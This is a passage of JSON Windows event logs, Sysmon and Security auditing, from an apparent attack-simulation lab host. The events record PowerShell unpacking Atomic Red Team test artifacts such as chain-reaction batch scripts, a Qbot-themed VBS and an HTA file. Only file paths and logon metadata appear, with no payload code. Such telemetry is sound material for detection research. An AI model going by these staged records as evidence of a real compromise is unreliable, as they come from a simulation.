11:56:08.695","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\Documents\\WindowsPowerShell\\Modules\\powershell-yaml\\0.4.2\\Load-Assemblies.ps1","CreationUtcTime":"2020-08-07 11:56:08.695","EventReceivedTime":"2020-08-07 11:56:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221924,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x72A4F\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x72a4f","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:56:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221925,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x72A4F\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51460\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x72a4f","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51460","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221926,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x72A4F\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x72a4f","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4725,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:56:11.024\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\atomic-hello.exe\r\nCreationUtcTime: 2020-08-07 11:56:11.024","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:56:11.024","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\atomic-hello.exe","CreationUtcTime":"2020-08-07 11:56:11.024","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4726,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.039\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_Argonaut.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.039","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.039","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_Argonaut.ps1","CreationUtcTime":"2020-08-07 11:56:11.039","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4727,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.039\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_Cyclotron.bat\r\nCreationUtcTime: 2020-08-07 11:56:11.039","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.039","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_Cyclotron.bat","CreationUtcTime":"2020-08-07 11:56:11.039","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4728,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.039\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_DragonsTail.bat\r\nCreationUtcTime: 2020-08-07 11:56:11.039","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.039","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_DragonsTail.bat","CreationUtcTime":"2020-08-07 11:56:11.039","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4729,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.039\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_DragonsTail.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.039","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.039","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_DragonsTail.ps1","CreationUtcTime":"2020-08-07 11:56:11.039","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4730,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.039\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_Fission.bat\r\nCreationUtcTime: 2020-08-07 11:56:11.039","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.039","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_Fission.bat","CreationUtcTime":"2020-08-07 11:56:11.039","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4731,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.039\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_Plutonium.bat\r\nCreationUtcTime: 2020-08-07 11:56:11.039","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.039","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_Plutonium.bat","CreationUtcTime":"2020-08-07 11:56:11.039","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4732,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.039\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_Reactor.bat\r\nCreationUtcTime: 2020-08-07 11:56:11.039","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.039","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\chain_reaction_Reactor.bat","CreationUtcTime":"2020-08-07 11:56:11.039","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4733,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.055\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\dragonstail_benign.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.055","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.055","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\dragonstail_benign.ps1","CreationUtcTime":"2020-08-07 11:56:11.055","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4734,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.055\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\qbot_infection_reaction.vbs\r\nCreationUtcTime: 2020-08-07 11:56:11.055","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.055","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Chain_Reactions\\qbot_infection_reaction.vbs","CreationUtcTime":"2020-08-07 11:56:11.055","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4735,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.071\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Initial_Access\\AtomicHTA.hta\r\nCreationUtcTime: 2020-08-07 11:56:11.071","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.071","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Initial_Access\\AtomicHTA.hta","CreationUtcTime":"2020-08-07 11:56:11.071","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4736,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.071\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Initial_Access\\generate-macro.ps1\r\nCreationUtcTime: 2020-08-07 11:56:11.071","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.071","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Initial_Access\\generate-macro.ps1","CreationUtcTime":"2020-08-07 11:56:11.071","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4737,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.086\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Labs\\Webinar11062017-Labs.bat\r\nCreationUtcTime: 2020-08-07 11:56:11.086","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.086","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Labs\\Webinar11062017-Labs.bat","CreationUtcTime":"2020-08-07 11:56:11.086","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4738,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:11.086\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Misc\\Discovery.bat\r\nCreationUtcTime: 2020-08-07 11:56:11.086","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:11.086","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\AtomicRedTeam\\tmp\\atomic-red-team-local-master\\ARTifacts\\Misc\\Discovery.bat","CreationUtcTime":"2020-08-07 11:56:11.086","EventReceivedTime":"2020-08-07 11:56:12","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4739,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:56:11.305\r\nProcessGuid: 